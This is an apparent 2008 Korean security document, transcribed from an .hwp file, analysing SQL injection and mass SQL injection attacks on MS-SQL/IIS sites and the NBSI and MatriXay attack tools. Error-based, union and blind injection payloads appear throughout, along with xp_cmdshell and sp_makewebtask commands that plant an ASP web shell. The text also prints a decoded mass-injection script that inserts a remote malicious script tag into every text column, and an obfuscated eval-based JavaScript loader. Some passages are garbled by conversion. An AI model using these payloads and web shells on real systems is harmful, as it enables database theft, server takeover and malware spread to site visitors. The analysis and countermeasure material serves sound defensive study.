VMETLVXYGZYH.hwp

Size: px
Start display at page:

Download "VMETLVXYGZYH.hwp"

Transcription

1 written by c0ck3dpist0l Published : ( 수정판) Abstract 본문서는 2008년 6월 6일첫번째판을수정하여만든 2008년 07월 18 일수정판입니다. 본문서는영리를목적으로사용및배포를금지합니다. 본문서는많은자료들을참고하고만들었습니다. 저작권에위배되는사항이있으면해당부분을삭제하겠습니다. < 참고자료> SKInfosec 침해대응팀 China Bot( 가칭) 악성코드분석 SKInfosec 김동규님 침해대응팀 Mass Sql-injection Art of SQL Injection For MS-SQL 방립동님 Blind Sql Injection - MySQL 5.0 Mitchell Harper David Litchfield Kevin Spett AnalyseR Blind Sql injection 취약점을통한악성스크립트삽입형태분석 Data-mining with SQL Injection and Inference SQL Injection Are your Web Application Vulnerable? Error based SQL Injeciton 금융ISAC실침해사고대응팀 HBSI,NBSI 매뉴얼 r3dcat Web Malware Encoding 문서를만들기까지여타의수많은블로그, 카페자료, 인터넷웹문서에감사를표합니다. 본문서에대한질문사항이잘못된부분이있으면언제든지이메일로연락부탁드립니다.

2 TABLES OF CONTENTS 1. Overview and introduction to SQL injection 1.1 Overview about SQL injection Error based SQL injection Stored Procedure SQL injection Blind SQL injection A Sort of DB Authentication SQL injection variation 2. What is an Mass SQL injection 2.1 Mass SQL injection Concept 2.2 How to attack Mass SQL injection : flow 2.3 log analysis of infected website with Mass SQL injection 2.4 Analysis of Mass SQL injection used Tool 2.4 What should I do as an user to protect myself? 3. Did you use that DB Penetration Tool? 3.1 NBSI ( 금융ISAC실침해사고대응팀 HBSI,NBSI 매뉴얼참고) what is an NBSI attack code to website 3.2 MatriXay What is an MaxtriXay attack code to website 3.3 Pangolin What is an Pangolin attack code to website 4. comprehensive countermeasures against the tool

3 1. Overview and introduction to SQL injection 1.1 Overview about SQL injection SQL injection은정상적인 SQL 질의문을변조하여불법로그인, DB 데이터열람, 시스템명령실행 등을수행하는공격으로써사용자입력값또는 URL 파라미터값에대한적절한검증작업이이루어지지않아발생한다. DB 와연결이되는지살펴보는방법은파라메타의입력값에싱글쿼터같은특수문자를삽입하여서버측의에러메세지를 확인하면된다. 검증대상서버가공격에무방비로노출이된경우쉽게이러한정보를확인할수있을것이다. 서버측에 서이러한에러메시지, 즉 500에러에대한페이지를노출시키지않도록설정되어있더라고잠재적인공격의가능성은남 아있다. 이것은 blind sql injection 공격이라하여, 쿼리구문을서버측으로전송할때 Response 되는반응을살펴보며 공격이가능한지에대해분석할수있다. SQL injection은 DBMS의영향을많이받음으로써일반적으로가장많은공격 의대상이되는 MySQL과 MS-SQL 이며, Oracle과 informix같은 DBMS의경우에는많이알려져있지않는것으로보고 되고있다. SQL 의작동원리로는다음과같다. ( 적절한사진을구하지못했어요,,_-;;) 일반적인 SQL Generator 와 PL/SQL 을이용한차이점에대해서간략하게설명하겠습니다. < 일반 SQL Generator> - 처음으로수행시 1. 구문분석(Parsing) 2. 표준화(Standardization) 3. 보안점검 4. 최적화(Optimize) 5. - 컴파일 반복수행시 1. 처음수행한일반 SQL 구문의실행계획이캐싱되어 있는지확인한후수행. 2, 캐싱되어있지않았을경우처음 5단계를다시수행 <PL/SQL> - 생성시 1. 구문분석(Parsing) 2. 표준화(Standardization) 3. 보안점검 4. 해당 Procedure의구문과생성정보를 syscomments 와 sysobject 에저장. 처음으로수행시 보안점검 최적화 3. 컴파일후에수행계획(execution plan) 을생성후 캐시에저장. - 반복수행시 1. 실행계획이캐싱된지확인후실행 2. 캐싱에없을경우처음부터다시수행

4 <SQL Query 문실행도> SQL injection 공격은 Error based, Stored Procedure, Blind SQL injection으로크게 3 가지로구분되어진다. 다음 그림은 SQL injection 공격에 flow chart 이다. <SQL injection Flow Chart> < 김동규님 Art of SQL Injection For MS-SQL 참고>

5 1.1.1 Error based SQL injection Error based SQL injection이란 DB 정보를획득할수있는방법을의미한다. DB에에러메시지나에러값을기반으로한단계씩점진적으로 *Microsoft OLE DB Provider for SQL Server 오류 '80040e14' *Internal Server Error 500 다음중 ' 나 " 을삽인한경우한개라도위와같은에러메세지를보인다면 Error based SQL injection 공격으로 DB에관 한정보를확인할수있다. 다음은해당화면이다. 필자는 MySQL을이용하여테스트하였으며 DBMS 마다다른표현방식으로추측을할수있다. <<SQL server의 version 확인>> 'and 1 => version <<DB_Name 을확인>> 'and(char(94)+db_name()+char(94))>0-- 'and0<>db_name()-- => DB_Name 확인 을확인 <<DB 접속계정확인>> 'And char(94)+user+char(94)=0-- 'and user>0-- => DB 접속계정확인 <<System 내의 DB 명을확인>> 'and 1=(select name from master.dbo.sysdatabases where dbid=7)-- ==> dbid가 1~6 까지는고정으로들어간것임.7~ 그이상으로확인할수있음 <<User 테이블확인>> 'and 0<>(select top 1 name from [DB Name].[DB 접속계정].sysobjects where xtype=char(85))-- ==> xtype=char(85) 를줌으로써사용자가생성한테이블만확인할수있음 <<Union 쿼리를이용한에러메세지공격>> 'union 1,2,3,4-- 또는 union 1,2,3,4,5,[n 개...] => 컬럼개수를무차별적으로대입하여추정함. 'union 1,2,3,4,5,convert(text,'a')-- => 등으로호환시켜줘야됨. 'union select all 1,2,3,4,[n 개...],convert(text,'a')-- => select all 을활용할수도있음. 'union select all '','','','','',['' 을 n 개수만큼]-- ==> 최종완성 union 쿼리 <<Union 쿼리를이용한에러메세지공격 - 시스템내모든 DB Name 확인>> 'union all select '',name,'','','',['' 을 n 개수만큼] from master..sysdatabases Stored Procedure SQL injection 저장프로시저(Stroed Procedure) 는일련의쿼리를마치하나의함수처럼실행하기위한쿼리의집합이다. 저장프로

6 시저는웹사이트의성능과보안을동시에높여주는효과를가지고있다. 특히보안적인측면에서 DB 연결시저장프로 시저를사용하게되면보안을강화할수있다. 저장프로시저는 MSSQL에국한되어사용되는것으로써공격에자주사용 되는저장프로시저로는 xp_cmdshell, sp_makewebtask 라고할수있다. 저장프로시저에는몇가지종류로나누어져있다. 그중 sp 로시작되는프로시저는 시스템저장프로시저 로서 SQL 서 버에미리저장되어사용되는프로시저들이주로이에해당하는것으로거의대부분이 master 있다. xp 로시작되는건 확장프로시저 로서 SQL 에서구현하기힘든것들을구현하기위해사용된다. 저장프로시저의사용이보안이강화되는이유는각각의프로시저에대한접근권한을설정할수있 데이터베이스에저장되어 기때문이다. 역으로웹사이트에서 SA로 DB 에접근한다던지, 접근권한에대한보안이이루어지지않는경우심각한위 협에노출될수있다. 일반적인공격절차로써는다음과같다. < 김동규님 Art of SQL Injection For MS-SQL 참고> Blind SQL injection 일반적인 SQL injection 공격을막기위해서는사용자가입력한질의에대해불필요한에러 페이지를노출시키지않는것이좋다. 그러나이러한방법또한최선의선택은아니라고할수있는데, 이러한해결방법은 바로 Blind SQL injection 공격을통해우회가가능하다. Blind SQL injection 이란마치장님이손으로더듬듯이, 알아내고자하는정보의답변을미리대략적으로예측해서 그것이참인지거짓인지를질의하고, 서버의반응으로참/ 거짓여부를판단하면서참이될때까지시도함으로서정보를 알아내는방법이다. 이방법을통하여데이터베이스의테이블이름, 칼럼이름등의정보를알아내는것이가능하다. i. Blind SQL injection 공격은참/ 거짓으로구분지어공격하는방식이다. 출력시나오는다른출력값을이용 ' and condition ii. IF 문을사용 and '1'='1 '; if condition waitfor delay '0:0:5' --

7 '; union select if( condition, benchmark (100000, sha1('test')), 'false' ),1,1,1,1; iii. 추가적으로우리는모든타입의 Query 를실행할수있지만, 출력된정보에대해디버깅할수는없다. 우리는단지 yes/no 응답을얻을수있다. 또한, 특정필드의데이터에대한 ASCII 값을추출할수있다. 매우까다로운작업이지만, SQueaL 과같은자동화된툴도있다. i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을이용한다. SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x ii. UPDATE 명령문 - 아래와같이웹애플리케이션에서당신의패스워드부분을수정할수있다. UPDATE users SET password = 'new password' WHERE login = logged.user AND password = 'old password' 대부분의경우에러메시지는어떤 DB 엔진을사용하는지출력한다. ODBC에러는 DB 타입 ( 드라이브정보의 부분으로써) 을나타낸다. 만약에 ODBC 에러가발생하지않으면, 어떤 OS와 Web Sever를사용하지를추측해야하거나 특별한 DB 문자, 명령어, 저장된프로시저를통한에러메시지를사용해야한다. <advanced sql injection 참고> <advanced sql injection 참고> A Sort of DB Authentication IS_SRVROLEMEMBER ( 서버역할 ) sysadmin SQL Server 에서모든작업을수행. 역할의권한은모든다른고정서버역할에걸쳐배치. serveradmin 서버차원의설정을구성. setupadmin 연결된서버를추가/ 제거하고 sp_serveroption 등의일부시스템저장프로시저를실행. securityadmin 서버로그인을관리. processadmin SQL Server 인스턴스에서실행중인프로세스를관리. dbcreator 데이터베이스를만들고대체. diskadmin 디스크파일을관리. bulkadmin BULK INSERT 문을실행. IS_MEMBER ( DB 역할 ) db_owner DB 내에서의유지관리및구성작업등모든 DB 역할의작업을수행. 권한은모든다른서버에걸쳐배치. db_accessadmin Win NT 4.0 또는 Win 2000 그룹과사용자및 SQL Server 사용자를데이터베이스에추가하거나제거. db_datareader 데이터베이스의모든사용자테이블에서모든데이터를봄. db_datawriter 데이터베이스의모든사용자테이블에서데이터를추가, 변경또는삭제. db_ddladmin 데이터베이스에서개체를추가, 수정또는삭제하고모든 DDL 을실행. db_securityadmin SQL Server 데이터베이스역할과그구성원을관리하고데이터베이스에서명령문과개체사용권한을관리. db_backupoperator 데이터베이스백업권한. db_denydatareader 데이터베이스에서데이터를선택하는권한을거부. db_denydatawriter 데이터베이스에서데이터를변경하는권한을거부 SQL Injection variation 필자는 SQL Injection 변화추세에관한많은자료를네이버형님에게도물어보고구글신에게도물어보았지만이렇다할자료를찾아내지못했다. 몇일을검색하다가구글신께서지시해준상황은다음과같이결론지어졌다.

8 Paramterized Queries Escape Sequence 1 세대 Quoting Quries 2 세대 3 세대 Avoid Dynamic SQL 4 세대 2. What is an Mass SQL injection 2.1 Mass SQL injection Concept Mass SQL injection 공격이란 MSSQL 2005 에취약점을이용하여공격하였다거나, 자동화툴을이용하여 DIY 방식으로 SQL injection 공격을통해공격을하였다거나, 등등의방법론이제시되고있지만내가생각하기엔악성코드를설치하려는 스크립트를 SQL injection 을통해수행되고있는공격이라는것이다. 확실한것은 Microsoft에서제공하는 MSSQL을타 겟으로하고있다는것과 SQL injection 쿼리가 악성코드가있는 URL" 등으로취약점이있는모든필드에업데이 트를하고있는형태로공격이되고있음은확신할수있고이러한행동을하기위해서는 Stored Procedure injection 공격을이용하였다는 것을알수있다. 2.2 How to attack Mass SQL injection : flow Mass SQL injection 의공격흐름도이다. Remote Unused Functions Blind SQL injection 공격과 2.3 log anlalysis of infected website with Mass SQL injection 실제로 Mass SQL injection 공격을당한 IIS 로그를확보하여예를보여주고분석을해보겠다.

9 <Before Decoding> C C C F F F F C E006E D C E006E D F006D F A C F006C D006E E D E E E D E E D F E D F E D F E D F E C F F E F004 D C F F E F C C F D E B B B D B B B D003D D F006E C005B B B D B C D A002F002F E F E E002F E006A E003C002F E E F004D C F F E F C E C004F C F F C004C004F C F F AS <After Decoding> varchar(255); DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype= 231 or b.xtype=167) OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor H_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src= FETCH NEXT FROM Table_Cursor CLOSE Table_ Cursor;DEALLOCATE Table_Cursor; <Mass SQL 공격구문해석> /* T와C에대한 SQL 영역을생성. */ varchar(255),@c varchar(255); /* Table_Cursor라는이름으로 CURSOR 를선언하고있다. 여기서 CURSOR FOR 루프사용하면서한번반복될때 마다행이인출된다. CURSOR는모니터에해당위치를알려주고그곳에입력을대기중이라고깜빡거리는것을나타낸 다. 같은맥락으로 PL/SQL에서커서는메모리상에서 SQL 문이실행되는위치를가리킨다.*/ DECLARE Table_Cursor CURSOR FOR /* a와 b테이블의 name 행을참조*/ select a.name,b.name /* sysobject테이블을 a 로선언, syscolumns테이블을 b 로선언*/ from sysobjects a, syscolumns b /* 조건부분이다. 여기서 xtype='u' 는유저테이블을의미한다. */ where a.id=b.id and a.xtype='u' and

10 /*xtype이 99,35,231,167인것은각각 ntext,text,nvarchar,varchar 을의미한다. (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) /* OPEN문은 CURSOR 를열어주고질의를시행하여결과집합을식별한후커서를첫번째행앞으로위치시킨다.*/ OPEN Table_Cursor; /* FETCH문은 CURSOR 를인출하고현재행(row) 을검색하고지정한조건(empty) 이만족할때까지커서를다음행 (row) 으로이동시킨다. */ FETCH NEXT FROM Table_Cursor INTO /* 실행문으로써조건이명시되어있다. CURSOR가있는프로시저내에서 WHILE을사용함으로써 FETCH_STATUS 에반환값(0) 을확인한다. FETCH_STATUS는 -2,-1,0 을반환한다. 또한 BEGIN...END 문이다. */ BEGIN exec( /* 갱신문(update ~ set ~) 으로써 update 테이블명 set 속성명 = 데이터[, 속성명= 데이터] */ 'update ['+@T+'] set ['+@C+']= /* rtrim() 함수는값의오른쪽에있는모든공백을잘라낸다. convert() 함수는형식을변환하는것이다. convert( 변환 형태, 변환할값, 스타일) 로사용한다. cast문도 convert 문과비슷하게쓰인다. */ rtrim(convert(varchar,['+@c+']))+ /* 다음과같은 <scripit>blah~blah~/<script> 문으로 DB 를변환시킨다. */ ''<script src= ); /* FETCH문은 CURSOR 를인출하고현재행(row) 을검색하고지정한조건(empty) 이만족할때까지커서를다음행 (row) 으로이동시킨다. */ FETCH NEXT FROM Table_Cursor /* 마지막행(row) 까지처리되었으면 CURSOR 를닫는다. */ END CLOSE Table_Cursor; /* DEALLOCATE문은 TABLE, INDEX, CLUSTER 등의 DATABASE OBJECT들의입력되는자료의양이증가함에 따라서새로운 EXTENT들이자동으적으로할당되는데이때필요이상과도한크기의 EXTENT가할당되면실제로 자료가들어있지않거나들어갈예정이없는죽은공간이만들어짐으로써 을제거하는방법이다. CURSOR 를메모리상에해제하고있다. */ DEALLOCATE Table_Cursor DISK 전체의사용효율을저하시키는원인 이 SQL 구문은 sysobject 테이블에서 type U(User) 테이블의모든행을가져오는것이다. 각오브젝트에 cn/ip.js 사이트주소코드를추가하도록 update 명령을실행시키는구문이다. 이공격을받은웹사이트는 IIS와 MS SQL 서버가설치된경우이다. 특히주목할것이바로 Evading을하기위해서 CAST나 CONVERT 명령어를쓴다는데주 목해야한다.

11 < 공격형태분석> DB 테이블중에서 TEXT 형태로된컬럼을찾아서 <script src=ririwow.cn/ip.js></script> 를추가한다.varchar nvarchar text ntext 형태의컬럼에는 <script src=ririwow.cn/ip.js></script> 이추가되며문제는모든테이블의컬럼 에적용이된다는것이다. 해당스크립트안에는아래와같이되어있다. nvarchar(4000) 같은경우큰바이트를삽입할 때공간을할당해주는것으로써큰값을 insert 나 update 할수있다.(MSSQL2005 부터제공) document.writeln("<iframe width=\'10\' height=\'1\' src=\' iframe에는다시각각의취약점별로공격하는 iframe 을실행합니다. document.write("<iframe width=""10"" height=""10"" src=""hxxp:// document.write("<iframe width=""5"" height=""5"" src=""hxxp:// document.write("<iframe width=""5"" height=""5"" src=""hxxp:// document.write("<iframe width=""5"" height=""5"" src=""hxxp:// document.write("<iframe width=""5"" height=""5"" src=""hxxp:// document.write("<iframe width=""5"" height=""5"" src=""hxxp:// document.write("<iframe width=""0"" height=""0"" src=""hxxp:// document.write("<iframe width=""0"" height=""0"" src=""hxxp:// <Mass Sql-injection 취약점을통한악성스크립트삽입형태분석참고> < 필자가구한또다른형태의공격형태분석 (b.js) > { window.status=""; var cookiestring = document.cookie; var start = cookiestring.indexof("updatebng="); if (start!= -1){}else{ var expires = new Date(); expires.settime(expires.gettime()+12*1*60*60*1000); document.cookie = "updatebng=update;expires="+expires.togmtstring(); try{ </iframe>"); }catch(e) {}; } document.write("<iframe src= width=0 height=0 frameborder=0> <adwste.mobi/cgi-bin/index.cgi 에접근하여획득한 index.html> 이부분을문서에포함하고완성하는데많은도움을주신 securityplus 와방립동님, r3dcat 님감사합니다. 자세한부분 은 r3dcat님의 Web Malware Encoding 분석문서를참고하세요. 참고로저는 decoding 하는과정중에제업무와신 분의특성상인터넷을특정이상으로만질수없어서 r3dcat 님의문서를확인하고다른파일로테스트해보았습니다. 시 간이되신다면원본파일을구하셔서디코딩을해보시는것도나쁘지않을것같습니다. function r4lr7fs3i(xrt5t1i27, vj0t3e1xg){var O37x6msj4 = arguments.callee;var xbg34hiib = ;O37x6msj4 = O37x6msj4.toString();O37x6msj4 = O37x6msj4 + location.href;var iml3tqjbx = eval;var O0dPXyGGc = O37x6msj4.replace(/\W/g, "");O0dPXyGGc = O0dPXyGGc.toUpperCase();var YDwG8HQ7x = new Array;for(var Y0R5162T4 = 0;Y0R5162T4 < 256; Y0R5162T4++) {YDwG8HQ7x[Y0R5162T4] = 0;}var gc0aak52c = 1;for(var Y0R5162T4 = 128; Y0R5162T4; Y0R5162T4 >>= 1){gC0aaK52C = gc0aak52c >>> 1 ^ (gc0aak52c & 1? : 0);for(var OUKPpcET1 = 0; OUKPpcET1 < 256; OUKPpcET1 += Y0R5162T4 * 2){var NsU6jxxJt = Y0R5162T4 + OUKPpcET1;YDwG8HQ7x[NsU6jxxJt] = YDwG8HQ7x[OUKPpcET1] ^ gc0aak52c;if (YDwG8HQ7x[NsU6jxxJt] < 0){YDwG8HQ7x[NsU6jxxJt] += xbg34hiib;}}}var D6RLFRW4L = xbg34hiib - 1;for(var Mj64y6kf4 = 0; Mj64y6kf4 < O0dPXyGGc.length; Mj64y6kf4++) {var Rh4pfb5u1 = (D6RLFRW4L ^ O0dPXyGGc.charCodeAt(Mj64y6kf4)) &

12 255;D6RLFRW4L = (D6RLFRW4L >>> 8) ^ YDwG8HQ7x[Rh4pfb5u1];}D6RLFRW4L = D6RLFRW4L ^ (xbg34hiib - 1);if (D6RLFRW4L < 0){D6RLFRW4L += xbg34hiib;}d6rlfrw4l = D6RLFRW4L.toString(16).toUpperCase();while(D6RLFRW4L.length < 8){D6RLFRW4L = "0" + D6RLFRW4L; }var h34t5sluv = new Array;for(var Y0R5162T4 = 0; Y0R5162T4 < 8; Y0R5162T4++){h34t5sluv[Y0R5162T4] = D6RLFRW4L.charCodeAt(Y0R5162T4);}var Ey2kpNf23 = "";var M2ofkei71 = 0;for(var Y0R5162T4 = 0; Y0R5162T4 < Xrt5t1i27.length; Y0R5162T4 += 2){var NsU6jxxJt = Xrt5t1i27.substr(Y0R5162T4, 2);var FpYBc133e = parseint(nsu6jxxjt, 16);var ctgns6l03 = FpYBc133e - h34t5sluv[m2ofkei71];if(ctgns6l03 < 0){ctgNs6l03 = ctgns6l ;}Ey2kpNf23 += String.fromCharCode(ctgNs6l03);if(M2ofkei == h34t5sluv.length){m2ofkei71 = 0;} else{m2ofkei71++;}}var BcHsiP1e0 = 0;try{iML3TQJbX(Ey2kpNf23);}catch(e){BcHsiP1e0 = 1;}try{if (BcHsiP1e0){window.location = "/";}} catch(e){}} </script> </head> <body onload="r4lr7fs3i('a7ada399aca1b2b061b c8c78ba695d a067a96458ad95b59a6d696a80776 bbcae96a8589d8ca88e8f7f85a56c637f6199a79dada5a8b0b5ab639999a4afa7a673ab97aa58a68fb e99ba627e58.. ( 생략) c6a716Ea478826d6e999A68A b717Da4747A716A7c9971A578a270776b707e C6d6f6E7A7A85756C6 a667a6a e5c5f73')"> </body> </html> 2.4 Analysis of Mass SQL injection used Tool 아래에사진은악성스크립트삽입코드 SQL injection 한홈페이지를찾아서감염시키기위한자동화툴이다. 공격을자동화로만들어주는툴이며구글을이용해서자동으로취약 위에자동화 SQL Injection 툴은 ATI(AMD) 프로그램아이콘을사용하는것이특이하며, Form Caption 을 CLI 로사용하 였다. Embedded Web Browser ( 를사용하며, Google 에서 inurl:".asp" inurl:"b=" 과같은쿼리를이 용하여취약한사이트를찾게된다. 위와같은자동화툴은아래와같은공격을시도하게된다.

13 varchar(255); DECLARE Table_Cursor CURSOR FOR; select.name,b.name; from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and < 일부제거> FETCH NEXT FROM Table_Cursor WHILE(@@FETCH_STATUS=0) BEGIN exec( 'update ['+@T+'] set ['+@C+']= rtrim(convert(varchar,['+@c+']))+ ); ''< 악성코드>''' FETCH NEXT FROM END CLOSE Table_Cursor; DEALLOCATE Table_Cursor ; NVARCHAR 4000); Table_Cursor AS NVARCHAR(4000)); EXEC(@S);-- Obfuscate Attack 을하기위해서 CAST 구문과 convert 구문을이용하여탐지를회피하는데사용한다. 다음은 Joe stewart가분석한 win32 console 로구성된자동화툴이다. mssctnr32.exe 파일은 command 명령어와함께악성코드스크립트파일을지정해주고취약한특정서버에공격을가하

14 는프로그램이다. 내부에 string값을 DECLARE 문을사용하면서비슷한코드를삽입하게된다. 2.5 What should I do as an user to protect myself? 1) DECLARE 구문을이용한공격을차단하기위해서는웹소스상에서쿼리스트링에대한길이제한적용을하셔야합니다. 대부분소스작성시쿼리스트링값의제한을적용하지않는경우가많다. 따라서웹개발자와상의하여쿼리스트링길이값에 대한제한을적용해야한다. <IDS SET <F/W> 기존에보도된감염된사이트를차단하고보도된악성스크립트를차단하고새로얻게된악성스크립트를분석해야한다. 2) MSSQL2005에대한보안패치적용과 SQL-Injection 에취약점이있으며중. 장기대책으로이에대한소스코드에수정해야한다. 3) 정기적인DB및시스템백업필요 <Mass SQL injection을공격당하여서해당 DB 를복구해야할경우> varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update ['+@T+'] set ['+@C+'] = left( convert(varchar(8000), ['+@C+']), len(convert(varchar(8000), ['+@C+'])) patindex(''%tpircs<%'', reverse(convert(varchar(8000), ['+@C+']))) ) where ['+@C+'] like ''%<script%</script>''' ); FETCH NEXT FROM END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor;

15 3. Did you use that DB Penetration Tool? 3.1 NBSI what is an NBSI 2.0버전에서는왼쪽좌측에서우측으로 9개의메뉴로구성됨 1 网站扫描 ( 웹사이트스캔) : 주소를입력하여 SQL Injection이가능한 URL을스캐닝 2 注入分析 ( 주입분석) : 데이터베이스명, 테이블명, 필드명, 각데이터의값등을찾아내조작할수있음. 3 扫描及工具 ( 스캔도구) : 하위 5개메뉴로구성됨 - 后台管理地址扫描 ( 관리자페이지주소스캔) - Access 数据库地址扫描 (Access 데이터베이스주소스캔) - Commander 命令执行器 ( 커맨드명령실행기) - TreeList 目录列表工具 (TreeList 목록리스트도구) - RegReader 注册表读取 (RegReader 레지스트리등록) attack code to website /* DB 접근권한확인 */ and user+char(124)=0 ' and user+char(124)=0 and ''=' %' and user+char(124)=0 and '%'=' And 1=1 And 1=2

16 And (Select Count(name) from [master]..[sysobjects])>0 And (Select Top 1 char(65) from [master]..[sysobjects])>0 And len(system_user)<=16 And len(system_user)>8 And len(system_user)>12 And len(system_user)>10 And len(system_user)>9 And UNICODE(substring(system_user,1,1)) BETWEEN 1 And 256 And UNICODE(substring(system_user,1,1))>128 And UNICODE(substring(system_user,1,1))>64 And UNICODE(substring(system_user,1,1))>112 And UNICODE(substring(system_user,1,1))>104 And UNICODE(substring(system_user,1,1))>100 And UNICODE(substring(system_user,1,1))>98 And UNICODE(substring(system_user,1,1))>97 /* 해당공격 DB에관한 SA 권한을확인 */ And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 And (Select Count(user) from [kyu].[dbo].[blahblah])>=0 convert(int,(select IS_SRVROLEMEMBER(0x D D00))) ' and (select IS_SRVROLEMEMBER(0x D E00))>0 ' and cast(is_srvrolemember(0x d e00) as varchar(1))+char(124)=1 and "=' ' and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) ' and 1=(SELECT IS_SRVROLEMEMBER('serveradmin')) ' and 1=(SELECT IS_SRVROLEMEMBER('securityadmin')) /* 확장프로시져를이용한공격 */ /* xp_cmdshell Procedure Check */ * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_cmdshell' * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_availablemedia' * select count(*) from master.dbo.sysobjets where xtype='x' and name='xp_dirtree' /* Available media Check */ * create table drives(name nvarchar(10),low int,high int,type int) * insert drives exec xp_availablemedia /* Path Table 생성 */ create table dirs(paths nvarchar(4000),id int); /* Path 정보입력 */ insert dris(paths) exec master.dbo.xp_dirtree 'c:\'; /* Path 정보확인 */ * convert(int,(select Top 1 CASE WHEN paths is NULL then char(124) else paths+char(124) End from (select id,paths from [dirs] T where paths > 'Documents and Settings'))

17 * 'and (select top 1 paths from dirs)>0 * 'exec sp_makewebtask "c:\interpub\wwwroot\dir.txt","exec xp_dirtree 'c:\'" Web Shell Table 생성 create table cmd(str nvarchar(1000)) Web Shell source 입력 insert into cmd(str) values ('<%response.write server.createobject("wscript.shell").exec("%comspec%/c "&request("cmd")).stdout.readall%>') Web Shell 파일생성 exec sp_makewebtask 'c:\inetpub\wwwroot\cmd.asp', 'select * from cmd ' xp_cmdshell 이용한 WebShell 생성 exec xp_cmdshell ' echo "<%response.write server.createobject("wscript.shell").exec("%comspec%/c "&request("cmd")).stdout.readall%>" >> c:\inetpub\wwwroot\webshell.asp'

18 3.2 MatriXay What is an MaxtriXay 류광을만들던중국해커가 DBAppsecurity라는정식회사에참여해서만든첫상용보안제품으로기존의웹스캐닝과는 차별되게주로 SQL injection 위주의취약점을찾아주는제품이다. 오라클, DB2, MSSQL, MySQL 등다양한 RDBMS 제품의 SQL Injection 취약점을찾아주는제품으로특히오라클 SQL Injection 취약점도잘찾아주는거같다. 필자가테 스트해본툴은 Free Beta release tester 제품이라서일부기능이구현되지않았고패턴도부족한상태로테스트하였 다. 확실한것은기존의 Blind SQL Injection 자동화툴보다훨씬많은것을구현해준다는것이다 attack code to website 필자는 MSSQL과 IIS 를연동하여만든테스트베드를가지고직접테스트해보았다. MatriXay는 bruteforcing을주공격 으로하고있기때문에로그를보는것이힘들었다. 그래서수만줄에로그중필요하다고생각하는것들만축출해서내 용에집어넣었다.

19 /* 데이터베이스내에 table 을가져오기위해서첫번째테이블의길이를반환하고있다. INFORMATION_SCHEMA.TA BLE 을참조하고있다. 여기서는 cmd가첫번째테이블이기때문에 3 을반환했다. 숫자는계속늘어나면서확인하고 있는것을알수있다. */ and 1=1 and (SELECT TOP 1 LEN(table_name) FROM (SELECT TOP 1 table_name FROM INFORMATION_SCHEMA.TABLES ORDER BY table_name ) sub ORDER BY table_name DESC)> /* 메타테이블중 INFORMATION_SCHEMA.TABLE을사용하여 SUBSTRING을이용하여첫번째테이블의첫번째 값을가져오고있다. 숫자는계속늘어나기때문에결국엔 cmd 라는테이블을쪼개서응답을가져오게된다. */ and 1=1 and (SELECT TOP 1 ascii(substring(table_name,1,1)) FROM (SELECT TOP 1 table_name FROM INFORMATION_SCHEMA.TABLES ORDER BY table_name) sub ORDER BY table_name DESC)> /* 시스템테이블인 sysobjects테이블을이용하여 User 테이블이면서시스템테이블의개수를조회하고있다. */ and 1=1 and (SELECT count(name) FROM sysobjects WHERE typex>'u' AND name LIKE 'sys%' and name='syssegments')>0 200 /* User 테이블의필드를구하는것으로써숫자를늘려가면서테이블의개수를추적하고있다. */ and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')> and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')> and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')> and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')> /* 원하는테이블필드의개수를파악하고 200 메시지가나타나있는것을보니테이블필드의개수는 3 개이다.*/ and 1=1 and (Select count(column_name) from information_schema.columns where table_name='users')=3 200

20 /* Table Field Name */ /*select top문을이용하여 1 개( 실제로그상에는계속값이커짐) 의 column_name 의문자수를반환하고있다.*/ and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC> and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC=8 200 and 1=1 and (SELECT TOP 1 LEN(column_name) FROM (Select TOP 1 column_name from information_schem a.columns where table_name='users' ORDER BY column_name) sub ORDER BY column_name DESC>64 200

21 /* Get Properties */ /* 보안함수인 SUSER_SNAME함수는사용자보안 ID(SID) 로부터로그인 ID 이름을문자수로반환하고있다.*/ and 1=1 and (select LEN(SUSER_SNAME()))>8 200 and 1=1 and (select LEN(db_name()))>3 500 /* 사용자보안 ID 에길이를추적해낸로그 */ and 1=1 and (select LEN(SUSER_SNAME()))=9 200 /* 해당 DB 의이름의길이를추적해낸로그 */ and 1=1 and (select LEN(db_name()))=3 200 /* SUBSTRING 을이용하여현재로그인한사용자의이름을쪼개서반환하고있다. */ and 1=1 and (select ascii(substring(suser_sname(),1,1)))> and 1=1 and (select ascii(substring(suser_sname(),8,1)))= and 1=1 and (select ascii(substring(suser_sname(),9,1)))> and 1=1 and (select ascii(substring(suser_sname(),9,1)))> and 1=1 and (select ascii(substring(suser_sname(),9,1)))> and 1=1 and (select ascii(substring(suser_sname(),9,1)))= /* BruteForce를이용한해당 Column의 content 가져오기 */ /* isnull(check_expression, replacement_value) check_expression이 Null이면 replacement_value 값으로대체 */ /* 시스템함수인 ISNULL은 id 컬럼의 Len를구하여서 Null값이면 0 